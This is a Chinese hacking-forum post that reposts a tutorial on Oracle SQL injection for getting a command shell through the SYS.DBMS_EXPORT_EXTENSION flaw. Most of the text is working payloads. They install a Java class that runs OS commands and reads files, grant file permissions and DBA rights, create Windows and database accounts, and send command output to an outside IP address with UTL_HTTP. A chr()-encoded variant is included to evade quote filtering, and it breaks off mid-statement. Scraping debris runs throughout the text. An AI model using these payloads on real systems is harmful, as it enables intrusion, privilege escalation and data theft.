中国网络渗透测试联盟

标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术

* x8 j# Q1 A& _/ C: [
3 h" R' u! z, U0 R3 ]( e: I7 K: ?介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。9 C6 y, Q5 n+ D1 o0 y, u) g4 E
" s* K/ a; ?' [
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
) x+ Y$ z- Z. C" w/ Y, [, h* d) v3 }
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
, T4 t- {3 L) _0 O
1 \$ d0 J; A1 |/ n7 D' l% w- e* n的形式即可。(用" 'a'|| "是为了让语句返回true值)4 f9 K" y. _5 x! P
  H) k* e/ y' o
语句有点长,可能要用post提交。
! A) ~1 u/ L# ~
. O6 G7 |* O6 ^7 U# T1 z
: j" z" `  f5 q- @% n. _" y. k- j
以下是各个步骤:
/ s& T% ^' `8 s4 ?6 g! D
/ z/ T2 o. ^! G1.创建包/ X$ F+ A/ N2 u1 ?( O
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:# c; {1 x' K( T) r9 K

0 ^+ z" T# m% o5 H; R/ N/xxx.jsp?id=1 and '1'<>'a'||(
/ s2 o- }' K" W/ N
- I0 g- Q; c1 K7 Z& i0 ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 X6 w. `9 X/ icreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(# K  m( u2 Y3 U# R, ?6 }
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
! \5 D, [7 t! U% h$ b}'''';END;'';END;--','SYS',0,'1',0) from dual
. V+ [( X3 z, k1 g: U0 U) k5 t% X3 R* s
)! D: W" C# D' N' P  v/ m
! y8 G# y, c6 Q. W0 W5 P$ x7 [
------------------------( k2 r8 t, @% {* ^
如果url有长度限制,可以把readFile()函数块去掉,即:
9 ~! ^/ ]5 t1 }4 r4 B. o9 p: S/ T/xxx.jsp?id=1 and '1'<>'a'||(
$ C1 F! |" c5 `* O& ?. ^0 F; X/ ^. w8 m( h; S; q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. u, P$ {: E$ F$ J. M
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
! S! ?1 r5 U9 o& xnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
: k$ z& _# X1 i9 y* k}'''';END;'';END;--','SYS',0,'1',0) from dual" Q  Z( a0 d8 i$ O) l+ Y4 @
$ Q0 Q0 o9 p' \0 f8 y
)
0 H& F( t. U1 |) B3 }
, G& h1 {+ S# [% |3 Y同时把后面步骤 提到的 对readFile()的处理语句去掉。
8 b* }4 r/ y" v4 W# X9 m$ _0 X------------------------------
* P1 x+ R; p$ O- r& s$ n, Q$ H8 V0 x9 R) n% Q
2.赋Java权限
. m. a( m9 C# w: g- D- d! J9 Q, c: |1 W1 [" j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual0 X. U. ]. d, q) k  ~$ s; A+ |+ \

' A$ O8 h- G7 R* g  O7 I6 k
# j2 j- ~4 D' T) s5 {, @9 s) Y
/ \4 y7 O. G$ l3.创建函数
9 E$ A9 W7 K- m" M+ {- I  l' {1 K& ?. [# Y' ^, t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# r( ^9 |4 [  l$ ~% g# G8 wcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
! b: C: i+ N0 G8 m( @
1 C, X  b7 w. K1 e+ Z* Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  n3 R$ |9 Y* A% s" c, Q8 i4 Acreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual/ g" o8 f) g% K7 E: N7 n
' F# B4 m- J  u. l' s$ y8 n
4.赋public执行函数的权限
" f; S# v  E. k6 l; |* S- [
/ A2 H* [' v7 ?" B2 ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
8 F0 L- Q5 x9 X6 b
3 b% Q# B8 G, b( Z8 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
3 y" M* K, {" C- B; g1 l. }5 M9 H, K

$ l) m% r) B" e: E4 U/ _- p" ]/ U9 P. {' L  b: [& G6 D6 W+ x
5.测试上面的几步是否成功
/ [  c% n  X8 O0 ^. Z! }
# L& m0 m) `3 _, x6 T  Iand '1'<>'11'||(" }! i  D+ Y: Q: l
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
% G+ p: p2 |+ B  X3 o)( O, ?5 M$ A4 A2 z* R) n; v
$ P. R5 }2 W+ J6 F3 Y4 O
and '1'<>($ d. N, t& q  a1 j7 c
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
) F; g! H% k( p5 f)1 p, `& W0 C. n% X; z* {

/ H( M& |4 Y' \8 c6.执行命令:
) b5 {2 t. M* t& E
" ^0 u, @) m) j) @1 t9 r# V/xxx.jsp?id=1 and '1'<>(
" x8 A* N1 @1 l6 x% pselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
+ X8 Q% a) v5 C: ~" ?)
# A. g1 A* L  [, ^" T0 @
7 p* r$ X1 p4 g" U3 r8 ~$ M/xxx.jsp?id=1 and '1'<>(6 J1 G3 R5 z, ~6 T3 \
select sys.LinxReadFile('c:/boot.ini') from dual
) d- V& c# B# D, l)
9 S* Q+ j4 k# l" {, J! {7 |
# b* f% P4 q* U! ~注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。2 v( J: }, }  e2 N# I
如果要查看运行结果可以用 union :
- i8 r9 A7 H1 W4 ~, h5 S! R6 C" Y, _; g; [6 [4 }2 R
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
2 `: H3 @# ]3 T  `
0 z; m! T$ \( [% _或者UTL_HTTP.request(:
; u0 A$ n  l6 D" ?( e) A% O, E  x: q1 [  ]8 d
/xxx.jsp?id=1 and '1'<>(& j7 F/ k* }! q* d$ D6 }# \$ l
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
! i  I/ j' w" z' j2 o0 y)+ u1 v9 W% s7 O4 X' f' ?! {0 u$ h4 o

: L- v3 i: r9 Q2 ?/xxx.jsp?id=1 and '1'<>(' T/ O9 ?% p! w
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual6 S2 H$ \3 y4 [  Y! Q; G& |/ x
)
; u2 N+ T7 w1 P2 q' n" p7 S
  B% i( Z$ b* l注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。% m  p, m2 W& }% d* r1 y

& ^' S+ u- e/ N* ~
7 w% W' x( ^+ |* ]$ I7 A& |- ?$ N0 T6 J) Z; y. B$ y' R

6 w$ m. q* r9 ?+ p' D/ z" W( {( H' Q9 U6 x# P
--------------------
% @" u( Z- d. W" ]9 C$ W& l
9 {6 [9 ?5 c2 j6.内部变化
5 s# h1 Y9 V6 I  e; [3 H通过以下命令可以查看all_objects表达改变:
+ N- D' s3 n0 yselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
) }. m& ?! U6 b" _0 G5 V0 X. z4 ~% p7 H# h8 A3 N- b+ a
7.删除我们创建的函数
0 i) |& p( p: P' U1 sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ K( V5 d) ^8 J% Z+ A  B: Vdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual* s+ h, d9 ~0 X: r: r" G; i+ w
1 _7 q0 K4 M( P  n/ l( K
! r  u9 P& M' L+ Z* A# t( d9 x: _

1 h6 W; M- U, F4 d8 L% ]! N+ a% K0 W+ r& r& ]
: R" `) {8 P( z4 G/ U& }
====================================================! S# w! a& ~$ n$ E8 K; m3 p
全文结束。谨以此文赠与我的朋友。
. d0 O4 k" g! e; P# B; {* t8 \- D9 }$ K% L) Y! {
linx
. q+ B6 L, o; c2 e124829445
$ S. Q, k$ C& s, ~2008.1.12
$ J' B: D, F0 g6 Tlinyujian@bjfu.edu.cn- m, x! G* @& O3 N# h& w

( l8 Z& [! A' [* O7 M) m/ V
/ r5 X" [( {: b6 s( I" p% Q9 A& b8 c* M7 e
; w  _2 `  b" P
( G: z' {* k9 y! k: J9 h% o3 R
======================================================================3 p, h. w! ]  O
! \# Z9 L: `7 p8 b0 ~
测试漏洞的另一方法:
& L! b2 U* b' U+ F* J6 B5 N2 m9 [7 y5 G2 y& s& [7 q1 u
创建oracle帐号:
; G$ r5 H' v& Z! I6 e! b+ mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* Z) E2 G; V% K  X3 KCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
: b) x3 @6 I6 o9 t8 {2 q& o$ ?
6 X8 g( q7 J+ y- F6 y* k3 `9 }即:- e% c. X4 v6 q6 h7 L& |( d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82)," u, p3 A1 y( K* q
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
! t* e4 k3 C4 u$ ?: x) z+ `
+ T8 R0 W$ B# Q确定漏洞存在:
% ^, m2 g, {1 h& I: [1<>(
3 {) C0 Z6 T, Y& e' dselect user_id from all_users where username='LINXSQL'7 n- ?, {5 d( ]: [  K  X
)
, \8 @2 S4 O* e  ^9 N7 K5 _9 ~9 _# I2 W, Q
给linxsql连接权限:
$ o' `0 [1 g+ D5 w- f0 S4 f. Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ }$ a& i6 |+ u# R6 C4 d' Q
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
* C: _% k+ Q2 E  x/ G- j2 Y) G  V# o% p' D, O9 w2 {1 g
删除帐号:
+ _$ ~, ^% o- u) d3 {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( c! E* y1 R2 u( r* N, \$ Q8 O9 b9 H
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual7 P3 ~& U  G2 H: a5 |( ?

! {! i& }2 E, h) ?. Z5 T3 G======================
# z1 U3 i0 v8 t3 U+ t* l
; s4 i* w2 D) P8 C7 m以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:. v: j1 W' e! ~: H& ?; X
7 U; Q% C1 e) X( ]/ E  T: U; @( H
1.jsp?id=1 and '1'<>(. N( k% J4 O7 K' u% v, y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': }7 T# L0 u2 h7 o# @* t9 [8 K
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual% U" U& y1 x+ B: z1 O. `0 J
) and ...8 ^% m- E( j; s" ?  X, }& q

% Z4 s* g% R7 }3 p/ r4 r( y; f1.jsp?id=1 and '1'<>(4 x+ t; I$ `. z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
' t6 t1 m9 s/ Q( L2 i4 `' |  }7 X) and ...% t! t. S# _' X' r4 o. S' m9 S& y+ }

  f. K0 o- C8 ^2 R: F& a; S, Y1.jsp?id=1 and '1'<>(" g4 C8 N2 f; j' k  a
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
# v: F: T9 R1 N& J) and ...* w7 ^# P* b2 k4 E( C# p
& \1 O$ r6 N' a' X
2 W, H: P" Y# q5 R& ^

! U. S; J$ x7 D9 J' O1.jsp?id=1 and '1'<>(1 q" |) _$ ^9 U: }
SELECT sys.Linx_Query('declare pragma1 k8 ^, B: Z/ F, V5 F2 x3 i
autonomous_transaction; begin execute immediate ''
% X, H- A8 A8 D" t# yselect 1 from dual
1 `* E% |1 V% v''; commit; end;') from dual% G4 H( Y9 u/ Q+ m. Q
) and ...4 I6 m$ u; ]" S' @' u
7 j5 Y7 R% N7 Z5 m3 o
多语句:
- C0 @' s% c4 E8 ~- a4 a% ASELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual! w" Y: Z: }5 I- v8 g: d
* ]* d6 K" g0 w& B) N9 Y
创建用户(除非当前用户有system权限,否则无法成功):
- @. r9 [# l" NSELECT sys.Linx_Query('declare pragma
% v! |) X" f& Y* x5 \autonomous_transaction; begin execute immediate ''/ M' n  w# v  I: b+ _  \
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User. S2 O) Z3 B! t) M% L% t) u: ]
''; commit; end;') from dual" ^9 U# L. N+ w1 ^

" }, K' y7 b# L" _! y- `/ r& {
& F, l; q( f0 {# ?* D
( A, ?5 q0 \) \# |1 X* F7 f3 Q0 ^3 m: ]

" T1 p9 t6 N) r7 F# H& `================
! s7 d2 g5 i+ B以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
2 m3 p5 Q$ a- H# ~
5 K5 U- J. w. ?) q) H) c- A1.创建函数7 O2 k) \" S7 e, d( {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( m8 G( b# q2 @  k: C" |create or replace function Linx_Query (p4 I, m5 {6 ~  {' C& R
varchar2) return number authid current_user is begin execute immediate, ^5 M/ f) n5 V
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
& F* L4 ]1 N+ g# c3 o6 u+ I) _
+ h% V, d7 T. x$ a' A' x如果有权限,以下语句应该允许正常; Z. A& p! p9 m$ f7 R
select sys.linx_query('select 1 from dual') from dual;, ^8 i& m" q. f9 Y- s% s

0 m- e1 E6 X9 z' h0 _- i6 c% r不然的话运行:
' H  Q* J! s, F/ g" P) l% E; i. Z6 s- ?6 _0 D* n: l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" k% N4 i% V* t6 s5 u+ ?2 L- v, ~* \
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
: ^. l9 e; ^" w* |$ i
) P! a4 D/ L: D( o- H# T: B1 _* x/ S/ B

, g  J6 N/ m& R# C/ k8 E7 j2.创建包
8 @5 e" {4 x; I' p5 ^SELECT sys.Linx_Query('declare pragma
) F8 K% b* i, }! Q* r1 J& p  \autonomous_transaction; begin execute immediate ''8 n$ Q( B, m% O: j. i$ i+ D
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(; [% R! w! T' x/ l7 [
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual1 W- L9 [1 P; B  }5 K$ h6 Z

+ U% X/ x. \/ d! `4 W; P3.创建函数+ j/ y8 w8 X" g6 M; E5 T2 \: C
SELECT sys.Linx_Query('declare pragma
( c% _* J, h: J3 F) B- o3 Y+ ?& Qautonomous_transaction; begin execute immediate ''* ?3 P3 L9 x, `6 |7 N- j
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
. `% `! T1 J, [6 B$ D  W  x7 E4 a- e" l
4.给权限
" J) R8 Z1 A1 h" y4 S8 {8 D( s+ B给用户SYSTEM执行权限:
2 D. F  P( G, ^) Q" p
- k& i3 G/ h' m$ W( ~, wSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
# a; W$ o4 ]6 q1 M2 ]- p/ R3 h) E
  S" \6 D. b1 {! g8 c1 I- F$ X) x. m

' g7 C& U/ Z" _$ B- a" T$ a6 r5.执行函数6 y( {! q/ y' F+ }% q0 V
select RunCMD2('cmd /c dir') from dual' k3 N/ J3 p3 U6 b, b

, {* r! T- @# X' p/ f0 B2 l( |/ l* c% X/ [) x: v
/ _; S) u9 V2 i% W0 ?2 T* n% H: s4 m2 d

& q% A7 f  l: l2 `0 f3 A  k* Z; h+ N, P; g/ R' c
==================( P& _4 s/ ]* F, p: n" O7 v
================================
7 l2 A, v# L) L2 d: Z) U1 ]( A; r% T& G' }+ D7 z; k
以下是无 " ' " 版:* q1 M7 ]# `& F# V$ a' A
8 H( K  B3 }( \# f) l2 R
以下是各个步骤:
3 K% t7 M& F  n  T
- F5 g! }$ V" D1.创建包
" w; T$ y- N) _# W7 G; c通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
1 \! F9 F- i( O3 q7 o3 L$ y因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
9 Q, U! B  Z7 U. V0 M/ w, Z/ V' T! U
/xxx.jsp?id=1 and chr(49)<>chr(50)||(% e. Z" _. K" `8 N! I
) y" u! ~2 ]" `0 S  X. X3 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),+ S( H' a) N/ U
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
! R7 u: I. f- a& h: V4 p3 Y9 ichr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||5 e1 d) H  x4 c# X  O& q
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||9 H2 c+ Z& s1 a; G* X2 `
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||! J' [! X% x& @' U. K5 P8 [
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
# M- |2 j( i2 j3 M' j1 N. [chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||, W  k% Q) E* r' v! s7 z. T1 e
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||+ v3 F) K6 k* U8 [% o
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||$ E% A1 z; A+ ?" U- H) d. J$ @; T
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
5 c( n# d4 _: m# E! wchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||+ v. v5 n$ h2 u0 n( W! P
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
9 g& t5 ^! N  Achr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
, ^- ?" l- i9 a, t: Lchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||9 Y& f% f8 h( S4 e- x7 N2 X
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
